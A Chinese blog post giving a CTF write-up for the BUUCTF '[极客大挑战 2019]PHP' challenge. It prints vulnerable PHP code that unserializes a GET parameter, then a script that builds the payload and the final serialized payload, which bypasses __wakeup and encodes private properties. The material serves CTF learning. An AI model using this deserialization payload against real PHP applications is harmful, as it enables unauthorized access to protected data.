美文网首页
BUUCTF-[极客大挑战 2019]PHP

BUUCTF-[极客大挑战 2019]PHP

作者: 好好睡觉鸭 | 来源:发表于2020-11-12 11:02 被阅读0次

1、备份文件
2、绕过__wakeup()
3、private

根据提示,使用dirsearch扫描网站,发现备份文件:


备份文件

下载后,源代码如下:
index.php

<?php
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);
?>

class.php

<?php
include 'flag.php';
error_reporting(0);

class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();      
        }
    }
}
?>

根据class.php,满足下列条件即可得到flag:
1、绕过__wakeup(),使username为admin
2、使password为100

生成payload:

<?php

class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            echo "flag";
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}

 $A = new Name('admin', '100');
 $b = serialize($A);
 $b = str_replace(':2:', ':3:',$b);
 echo $b;

最终payload为:

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

总结:

  • 当成员属性数目大于实际数目时可绕过_wakeup()
  • private属性序列化的时候格式是%00类名%00成员名,%00占一个字节长度

相关文章

网友评论

      本文标题:BUUCTF-[极客大挑战 2019]PHP

      本文链接:https://www.haomeiwen.com/subject/tewubktx.html